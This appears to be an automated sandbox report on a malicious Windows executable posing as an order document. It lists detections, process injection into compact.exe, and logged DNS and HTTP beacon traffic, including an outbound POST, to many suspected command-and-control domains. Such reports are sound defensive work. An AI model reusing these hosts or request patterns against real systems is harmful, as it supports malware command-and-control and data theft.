Windows Analysis Report
Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

AI detected suspicious sample

Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Joe Sandbox ML: detected

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: compact.pdbGCTL source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2506815789.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000003.2651430615.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: EUSOiCcoIEEJJ.exe, 00000009.00000002.4564033459.000000000064E000.00000002.00000001.01000000.0000000C.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4565010474.000000000064E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2507000951.0000000001380000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2509176695.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.0000000003590000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2506580871.00000000031EC000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.000000000372E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2507000951.0000000001380000.00000040.00001000.00020000.00000000.sdmp, compact.exe, compact.exe, 0000000A.00000003.2509176695.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.0000000003590000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2506580871.00000000031EC000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.000000000372E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: CAhp.pdbSHA256 source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source:	Binary string: compact.pdb source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2506815789.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000003.2651430615.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CAhp.pdb source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Source: C:\Windows\SysWOW64\compact.exe

Code function: 10_2_02E2C170 FindFirstFileW,FindNextFileW,FindClose,

10_2_02E2C170

Source: C:\Windows\SysWOW64\compact.exe	Code function: 4x nop then xor eax, eax		10_2_02E196F0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 4x nop then mov ebx, 00000004h		10_2_034E053F

Networking

Performs DNS queries to domains with low reputation

Source:

DNS query: www.hellokong.xyz

Source: Joe Sandbox View	IP Address: 64.190.62.22 64.190.62.22
Source: Joe Sandbox View	IP Address: 203.161.49.220 203.161.49.220

Source: Joe Sandbox View

ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jmiz/?Y6vp=3PLd8j&OdjTHtuX=FlIs+r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p/5DHHhHlE1nDIZgKO5qXvVh1+gwmyYcA+2CCaGrmZckpjuvJQ96WUy8TtzIG0Do= HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.fondazionegtech.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /92z0/?OdjTHtuX=Gchg326o6RWN/XFADw/V4eD2MO3apSP8yQOPkbolGTbWXGJL1kFLipwvr6KFDeoH1MC+XiIJPCdl50bZjywkZNBk97uFxrq9QGi9z8UXs1GhAfMLlFrOVkcHu0q9EP6WPl8Zh5k=&Y6vp=3PLd8j HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.mengistiebethlehem.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /oc7s/?Y6vp=3PLd8j&OdjTHtuX=ITz00edB1Uq7JDbRPTK5B57t89T2WQZ+hnFFsCQVLpiDf2LeJizgG+jH2jz5I+TBlRR/yAoHWWMQTB4d0WCMdZHpvgPMtRMFWqdBjyYGuisLgsnAd4XsPoSnl82L2CWvs48fsL0= HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.ad14.funUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /2769/?OdjTHtuX=rQ9MRvShllEvhf19NmQGPjdBfvwxqGfh/iQ/JyzvIKd3JVnhiEf6Ad8S1fm4YmYs4WBXtXN2+GWeVsdjOCq4N3yCg9FNbaHUg89/agQhGCosY8uNQEp6VxplmSeNniynJ3fH1F8=&Y6vp=3PLd8j HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.epicbazaarhub.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /wvam/?Y6vp=3PLd8j&OdjTHtuX=ppN4Kg7gaCRo+jf4iLEmna60kcJd+oo7/wZIRMT4+Man5OlGV28GmQNPMVld/mi8klF/kBnYjgc4RUC2chY7WuIAYm4xk+Ll6sKGI2rWgbxJmoqgO5rVx7RJwqzCMQvvfrLjQU4= HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.rz6grmvv.shopUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /oui5/?OdjTHtuX=SBbMJInblZiNUqJtj2t3oAZeaf7w1Mr63FaPzYR5npk3jTg+edZF9NME4tF9tViJCHx7c4tSq6N/qcOwzg98IChDG2ekcZOWcYJRK2znKimA3GQ/fbvAwxxdlKlVh8HBUwdv3Sg=&Y6vp=3PLd8j HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.hellokong.xyzUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD+tzjHhGgLlyDkrck6XhMS8VcXSbKvpDPBj6V0V8nuLzRy/FwKWDUEv1cw0ImnsIqFnkVImpc8YyZ7gWSicgk/ENTSAvixeUyT+Tq9osdZT4ae7dFHSM= HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.architect-usschool.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /3jr0/?OdjTHtuX=C6nbN3Z6SrmD48dKFL5Pdr+cZFmYp1QsQ3e628IyGZcRZCB2vhKb6ox4g6I37OYbmAVSFMbRXnVDWcusSAPk0vfQfIagm0ASlZK02lSA38wn9PDfH1oUKWJrxTMbBcOAU+1qziI=&Y6vp=3PLd8j HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.easybackpage.netUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /mwa4/?Y6vp=3PLd8j&OdjTHtuX=BKtoJfTGgHJzrpd1kXP6JuCpnJS0Vaq/yhZppoO2EP353cwV9Kf7u0HM3e0YD5Mg8P8TnPOgCoBiwA2kvNm9UdnLeQplEPepVbn/svzmQdla2L+ZsYtoIxEUyzWZOW0K59hRfLs= HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.superunicornpalace.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /rxdf/?OdjTHtuX=n5pckC1kDFTF1S5BKIsmiJ5ryDhRlCYaQVQlc2liktwXiyajKP48Wkncu6FoMqtxFtMv+2TSpEcAsDV+dI8BV0td651LvJeUOcJvnAipjtqBUQAoEW2kSo5oIr+iYWP+5LowsUg=&Y6vp=3PLd8j HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.tedjp-x.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTXePjBpDkk8R6CbNZjNtV+M1xTH1M7WEFVhsxtrVg+jjfEC0sBsxKcDNAG8QmzJp6ywkUHIkWAXYoQO53dC+2pPrw= HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.3cubesinterior.inUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /s0j2/?OdjTHtuX=BcB93STIeRzesDqYzmgjF/8Aqg2qoGbugvfC7gVQd0Epq+RTfyEF6eLz+ZShIqPWgjFYuR+pkePM3whd8giEyH2988JCuLY+vIFLWxAqbBoWpgzIu1DPnhlaAUBnkOtEvd711RA=&Y6vp=3PLd8j HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.artvectorcraft.storeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /pv57/?OdjTHtuX=6UcJOPuI3ds3m8dRFaGqe18kk0aRE6C9zfep+6iQQcPKXv8sEJKo1I2dFrwlAwFzKSJLgqMZnt8gW4RLGDqdj2op7I/d7Qwx4DLM/Sb7UzOzABLy3akf6gQBeurdxZRPhPoEffE=&Y6vp=3PLd8j HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.hondamechanic.todayUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

Source: global traffic	DNS traffic detected: DNS query: www.fondazionegtech.org
Source: global traffic	DNS traffic detected: DNS query: www.mengistiebethlehem.com
Source: global traffic	DNS traffic detected: DNS query: www.ad14.fun
Source: global traffic	DNS traffic detected: DNS query: www.epicbazaarhub.com
Source: global traffic	DNS traffic detected: DNS query: www.rz6grmvv.shop
Source: global traffic	DNS traffic detected: DNS query: www.hellokong.xyz
Source: global traffic	DNS traffic detected: DNS query: www.architect-usschool.com
Source: global traffic	DNS traffic detected: DNS query: www.easybackpage.net
Source: global traffic	DNS traffic detected: DNS query: www.superunicornpalace.com
Source: global traffic	DNS traffic detected: DNS query: www.tedjp-x.com
Source: global traffic	DNS traffic detected: DNS query: www.3cubesinterior.in
Source: global traffic	DNS traffic detected: DNS query: www.artvectorcraft.store
Source: global traffic	DNS traffic detected: DNS query: www.macklaer.com
Source: global traffic	DNS traffic detected: DNS query: www.hondamechanic.today

Source: unknown

HTTP traffic detected: POST /92z0/ HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cache-Control: max-age=0Content-Length: 213Content-Type: application/x-www-form-urlencodedConnection: closeHost: www.mengistiebethlehem.comOrigin: http://www.mengistiebethlehem.comReferer: http://www.mengistiebethlehem.com/92z0/User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoData Raw: 4f 64 6a 54 48 74 75 58 3d 4c 65 4a 41 30 41 61 6c 79 6c 37 66 7a 6a 68 30 51 6d 2f 39 39 4d 72 45 4a 50 50 7a 71 78 44 4b 30 31 43 64 70 62 77 42 4f 6a 65 6f 58 56 74 76 31 6d 52 76 69 75 63 6d 2f 4e 7a 39 63 65 78 42 31 4f 79 54 54 58 6b 57 4d 53 64 62 39 56 37 41 75 78 49 44 59 4b 6b 2b 37 2f 4c 6b 33 6f 61 6a 63 31 69 2f 34 38 67 32 2b 31 47 53 41 2f 4d 6e 7a 6c 54 44 46 6d 73 76 6a 32 71 4a 4b 73 6d 42 55 47 49 4c 38 76 55 64 47 53 39 55 66 68 32 69 37 39 54 70 45 31 32 34 42 58 65 75 61 57 32 4b 51 78 69 41 54 5a 31 30 2f 44 71 73 6d 32 43 63 6f 75 64 57 52 63 31 71 47 45 37 66 4f 69 6b 43 42 6a 74 78 54 4b 63 73 33 38 52 73 Data Ascii: OdjTHtuX=LeJA0Aalyl7fzjh0Qm/99MrEJPPzqxDK01CdpbwBOjeoXVtv1mRviucm/Nz9cexB1OyTTXkWMSdb9V7AuxIDYKk+7/Lk3oajc1i/48g2+1GSA/MnzlTDFmsvj2qJKsmBUGIL8vUdGS9Ufh2i79TpE124BXeuaW2KQxiATZ10/Dqsm2CcoudWRc1qGE7fOikCBjtxTKcs38Rs

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:19 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://epicbazaarhub.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 14879Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 eb 96 eb 36 92 35 f8 fb e4 53 c0 f2 b2 53 b2 05 89 ba e5 85 4a 65 95 af 5d fe a6 dc f6 aa e3 ea 9a 6f 6c af 5c 20 19 22 71 12 04 58 00 28 a5 8e 2a 1f e6 5b f3 16 f3 b7 5f 6c 02 a4 ee a2 94 ca 4b 77 75 77 5e 48 22 10 b1 63 c7 8e 7d f3 c9 b7 3f 7d f3 cb ff fe f9 3b 92 d8 54 dc 9e dd b8 17 11 4c c6 a3 5a 66 e9 d7 7f a9 b9 18 b0 e8 f6 ec dd 4d 0a 96 91 30 61 da 80 1d d5 fe fa cb f7 f4 aa 46 da ab 1b c9 52 18 d5 26 1c a6 99 d2 b6 46 42 25 2d 48 cc 9c f2 c8 26 a3 08 26 3c 04 5a 1c 9a 84 4b 6e 39 13 d4 84 4c c0 a8 53 e0 6c c0 9c 6b 15 28 6b ce 57 20 e7 29 7b a0 3c 65 31 d0 4c 83 6b e2 0b a6 63 38 2f 0a 2d b7 02 6e 7f fe f7 ff 13 73 89 08 ff fe ff 2a 02 d2 95 6a 16 31 f2 f9 a7 57 dd 4e 67 48 20 e3 61 c0 3e 32 a6 93 3c 68 85 2a bd 69 97 85 67 37 82 cb 7b a2 41 8c ce 23 69 5c 87 31 d8 30 39 27 09 7e 8d ce db ed bd d2 b2 ef aa ac c6 84 05 2d 99 85 1a b1 b3 0c 75 60 59 26 78 c8 2c 57 b2 ad 8d f9 f2 21 15 78 e5 da 8d 6a df 03 44 24 63 9a ed 53 22 9f 6b f6 f7 5c 0d 6b 65 eb 5a 62 6d 66 fc 0a 02 ed 31 82 b4 6b af a6 11 01 6a 9c a2 c4 ff fe 7f 34 57 e6 d5 b4 f0 df a1 99 4d 7e 26 d4 3c b3 b7 67 53 2e 23 35 6d dd 4d 33 48 d5 07 fe 1e ac e5 32 36 64 44 e6 b5 80 19 f8 ab 16 35 7f 81 fd 5b fb b7 b6 69 4d 5b 4a c7 bf b5 8b c5 9b df 10 5c c3 6f ed a2 f8 b7 76 67 d0 f2 5a bd df da 97 dd 87 cb ee 6f ed 5a b3 06 0f 16 eb 5b 99 8c f1 60 26 f1 cb f0 b0 b0 40 c3 f7 77 25 20 7e b9 b3 ca 75 08 35 7f 5e 43 67 a1 a4 45 d9 02 bf 80 df 13 e3 b7 f6 34 a3 5c 86 22 8f 5c b7 0f a6 08 14 75 14 d7 05 38 72 2b e5 b2 f5 c1 fc 61 02 7a 74 d1 1a b4 06 b5 c7 c7 e1 59 fb 8b 4f c8 2f 09 37 64 cc 05 10 7c b3 dc 2a 1a 83 04 8d 7d 23 f2 45 fb ec 93 71 2e 43 b7 d6 3a 6f ca c6 7c c2 34 51 4d d3 84 e1 32 4e c2 3a 34 e6 56 cf 8a 3b 3b 9a 9b 3c cb 94 b6 bf 80 b1 c6 87 a6 e5 29 7e b1 34 f3 eb 12 a6 e4 5b 04 6e b4 26 4c e4 f0 d3 b8 de 78 1c 1a 30 06 61 de 5b a5 51 ac 96 01 fb 03 8e 5c 57 cd ff f5 fe a7 7f 6d 19 ab 71 75 7c 3c ab db 46 e3 11 d5 08 13 d7 ee f1 71 d5 3e ab 63 0f 47 0d 5a 21 8e aa ff 02 a1 ad 7b 4d af 89 67 26 27 0c 97 c1 23 9b ac 8f 09 f0 38 b1 0d 0c e0 d4 e2 17 5c 66 dd 62 ba d7 18 96 03 38 96 7f e5 d2 f6 ba 5f 69 cd 66 75 68 c5 c8 c9 6d 12 b9 b3 53 a0 5b 11 26 36 9a 7a 54 7f 05 27 59 70 6a be 15 9b c6 50 83 cd b5 24 b6 05 68 82 59 7d b5 57 94 af 31 5f 5c c2 68 34 d2 bf da df 1f 1b 6b 81 f3 a5 c0 66 ca 9d fc 98 1d a2 a3 6a 63 c1 e2 9a bf 28 74 30 b5 df f2 e8 aa 17 e2 73 3c ee fd 96 8f c1 1b ff 96 77 3d 2f c2 e7 05 bb 2c 23 b5 83 69 c1 56 5a e3 0f 9f 74 fc 4f b6 61 a3 31 db f8 ee Data Ascii: 65SSJe]ol\ "qX(*[
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:21 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://epicbazaarhub.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 14879Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 eb 96 eb 36 92 35 f8 fb e4 53 c0 f2 b2 53 b2 05 89 ba e5 85 4a 65 95 af 5d fe a6 dc f6 aa e3 ea 9a 6f 6c af 5c 20 19 22 71 12 04 58 00 28 a5 8e 2a 1f e6 5b f3 16 f3 b7 5f 6c 02 a4 ee a2 94 ca 4b 77 75 77 5e 48 22 10 b1 63 c7 8e 7d f3 c9 b7 3f 7d f3 cb ff fe f9 3b 92 d8 54 dc 9e dd b8 17 11 4c c6 a3 5a 66 e9 d7 7f a9 b9 18 b0 e8 f6 ec dd 4d 0a 96 91 30 61 da 80 1d d5 fe fa cb f7 f4 aa 46 da ab 1b c9 52 18 d5 26 1c a6 99 d2 b6 46 42 25 2d 48 cc 9c f2 c8 26 a3 08 26 3c 04 5a 1c 9a 84 4b 6e 39 13 d4 84 4c c0 a8 53 e0 6c c0 9c 6b 15 28 6b ce 57 20 e7 29 7b a0 3c 65 31 d0 4c 83 6b e2 0b a6 63 38 2f 0a 2d b7 02 6e 7f fe f7 ff 13 73 89 08 ff fe ff 2a 02 d2 95 6a 16 31 f2 f9 a7 57 dd 4e 67 48 20 e3 61 c0 3e 32 a6 93 3c 68 85 2a bd 69 97 85 67 37 82 cb 7b a2 41 8c ce 23 69 5c 87 31 d8 30 39 27 09 7e 8d ce db ed bd d2 b2 ef aa ac c6 84 05 2d 99 85 1a b1 b3 0c 75 60 59 26 78 c8 2c 57 b2 ad 8d f9 f2 21 15 78 e5 da 8d 6a df 03 44 24 63 9a ed 53 22 9f 6b f6 f7 5c 0d 6b 65 eb 5a 62 6d 66 fc 0a 02 ed 31 82 b4 6b af a6 11 01 6a 9c a2 c4 ff fe 7f 34 57 e6 d5 b4 f0 df a1 99 4d 7e 26 d4 3c b3 b7 67 53 2e 23 35 6d dd 4d 33 48 d5 07 fe 1e ac e5 32 36 64 44 e6 b5 80 19 f8 ab 16 35 7f 81 fd 5b fb b7 b6 69 4d 5b 4a c7 bf b5 8b c5 9b df 10 5c c3 6f ed a2 f8 b7 76 67 d0 f2 5a bd df da 97 dd 87 cb ee 6f ed 5a b3 06 0f 16 eb 5b 99 8c f1 60 26 f1 cb f0 b0 b0 40 c3 f7 77 25 20 7e b9 b3 ca 75 08 35 7f 5e 43 67 a1 a4 45 d9 02 bf 80 df 13 e3 b7 f6 34 a3 5c 86 22 8f 5c b7 0f a6 08 14 75 14 d7 05 38 72 2b e5 b2 f5 c1 fc 61 02 7a 74 d1 1a b4 06 b5 c7 c7 e1 59 fb 8b 4f c8 2f 09 37 64 cc 05 10 7c b3 dc 2a 1a 83 04 8d 7d 23 f2 45 fb ec 93 71 2e 43 b7 d6 3a 6f ca c6 7c c2 34 51 4d d3 84 e1 32 4e c2 3a 34 e6 56 cf 8a 3b 3b 9a 9b 3c cb 94 b6 bf 80 b1 c6 87 a6 e5 29 7e b1 34 f3 eb 12 a6 e4 5b 04 6e b4 26 4c e4 f0 d3 b8 de 78 1c 1a 30 06 61 de 5b a5 51 ac 96 01 fb 03 8e 5c 57 cd ff f5 fe a7 7f 6d 19 ab 71 75 7c 3c ab db 46 e3 11 d5 08 13 d7 ee f1 71 d5 3e ab 63 0f 47 0d 5a 21 8e aa ff 02 a1 ad 7b 4d af 89 67 26 27 0c 97 c1 23 9b ac 8f 09 f0 38 b1 0d 0c e0 d4 e2 17 5c 66 dd 62 ba d7 18 96 03 38 96 7f e5 d2 f6 ba 5f 69 cd 66 75 68 c5 c8 c9 6d 12 b9 b3 53 a0 5b 11 26 36 9a 7a 54 7f 05 27 59 70 6a be 15 9b c6 50 83 cd b5 24 b6 05 68 82 59 7d b5 57 94 af 31 5f 5c c2 68 34 d2 bf da df 1f 1b 6b 81 f3 a5 c0 66 ca 9d fc 98 1d a2 a3 6a 63 c1 e2 9a bf 28 74 30 b5 df f2 e8 aa 17 e2 73 3c ee fd 96 8f c1 1b ff 96 77 3d 2f c2 e7 05 bb 2c 23 b5 83 69 c1 56 5a e3 0f 9f 74 fc 4f b6 61 a3 31 db f8 ee Data Ascii: 65SSJe]ol\ "qX(*[
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:24 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://epicbazaarhub.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 14879Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 eb 96 eb 36 92 35 f8 fb e4 53 c0 f2 b2 53 b2 05 89 ba e5 85 4a 65 95 af 5d fe a6 dc f6 aa e3 ea 9a 6f 6c af 5c 20 19 22 71 12 04 58 00 28 a5 8e 2a 1f e6 5b f3 16 f3 b7 5f 6c 02 a4 ee a2 94 ca 4b 77 75 77 5e 48 22 10 b1 63 c7 8e 7d f3 c9 b7 3f 7d f3 cb ff fe f9 3b 92 d8 54 dc 9e dd b8 17 11 4c c6 a3 5a 66 e9 d7 7f a9 b9 18 b0 e8 f6 ec dd 4d 0a 96 91 30 61 da 80 1d d5 fe fa cb f7 f4 aa 46 da ab 1b c9 52 18 d5 26 1c a6 99 d2 b6 46 42 25 2d 48 cc 9c f2 c8 26 a3 08 26 3c 04 5a 1c 9a 84 4b 6e 39 13 d4 84 4c c0 a8 53 e0 6c c0 9c 6b 15 28 6b ce 57 20 e7 29 7b a0 3c 65 31 d0 4c 83 6b e2 0b a6 63 38 2f 0a 2d b7 02 6e 7f fe f7 ff 13 73 89 08 ff fe ff 2a 02 d2 95 6a 16 31 f2 f9 a7 57 dd 4e 67 48 20 e3 61 c0 3e 32 a6 93 3c 68 85 2a bd 69 97 85 67 37 82 cb 7b a2 41 8c ce 23 69 5c 87 31 d8 30 39 27 09 7e 8d ce db ed bd d2 b2 ef aa ac c6 84 05 2d 99 85 1a b1 b3 0c 75 60 59 26 78 c8 2c 57 b2 ad 8d f9 f2 21 15 78 e5 da 8d 6a df 03 44 24 63 9a ed 53 22 9f 6b f6 f7 5c 0d 6b 65 eb 5a 62 6d 66 fc 0a 02 ed 31 82 b4 6b af a6 11 01 6a 9c a2 c4 ff fe 7f 34 57 e6 d5 b4 f0 df a1 99 4d 7e 26 d4 3c b3 b7 67 53 2e 23 35 6d dd 4d 33 48 d5 07 fe 1e ac e5 32 36 64 44 e6 b5 80 19 f8 ab 16 35 7f 81 fd 5b fb b7 b6 69 4d 5b 4a c7 bf b5 8b c5 9b df 10 5c c3 6f ed a2 f8 b7 76 67 d0 f2 5a bd df da 97 dd 87 cb ee 6f ed 5a b3 06 0f 16 eb 5b 99 8c f1 60 26 f1 cb f0 b0 b0 40 c3 f7 77 25 20 7e b9 b3 ca 75 08 35 7f 5e 43 67 a1 a4 45 d9 02 bf 80 df 13 e3 b7 f6 34 a3 5c 86 22 8f 5c b7 0f a6 08 14 75 14 d7 05 38 72 2b e5 b2 f5 c1 fc 61 02 7a 74 d1 1a b4 06 b5 c7 c7 e1 59 fb 8b 4f c8 2f 09 37 64 cc 05 10 7c b3 dc 2a 1a 83 04 8d 7d 23 f2 45 fb ec 93 71 2e 43 b7 d6 3a 6f ca c6 7c c2 34 51 4d d3 84 e1 32 4e c2 3a 34 e6 56 cf 8a 3b 3b 9a 9b 3c cb 94 b6 bf 80 b1 c6 87 a6 e5 29 7e b1 34 f3 eb 12 a6 e4 5b 04 6e b4 26 4c e4 f0 d3 b8 de 78 1c 1a 30 06 61 de 5b a5 51 ac 96 01 fb 03 8e 5c 57 cd ff f5 fe a7 7f 6d 19 ab 71 75 7c 3c ab db 46 e3 11 d5 08 13 d7 ee f1 71 d5 3e ab 63 0f 47 0d 5a 21 8e aa ff 02 a1 ad 7b 4d af 89 67 26 27 0c 97 c1 23 9b ac 8f 09 f0 38 b1 0d 0c e0 d4 e2 17 5c 66 dd 62 ba d7 18 96 03 38 96 7f e5 d2 f6 ba 5f 69 cd 66 75 68 c5 c8 c9 6d 12 b9 b3 53 a0 5b 11 26 36 9a 7a 54 7f 05 27 59 70 6a be 15 9b c6 50 83 cd b5 24 b6 05 68 82 59 7d b5 57 94 af 31 5f 5c c2 68 34 d2 bf da df 1f 1b 6b 81 f3 a5 c0 66 ca 9d fc 98 1d a2 a3 6a 63 c1 e2 9a bf 28 74 30 b5 df f2 e8 aa 17 e2 73 3c ee fd 96 8f c1 1b ff 96 77 3d 2f c2 e7 05 bb 2c 23 b5 83 69 c1 56 5a e3 0f 9f 74 fc 4f b6 61 a3 31 db f8 ee Data Ascii: 65SSJe]ol\ "qX(*[
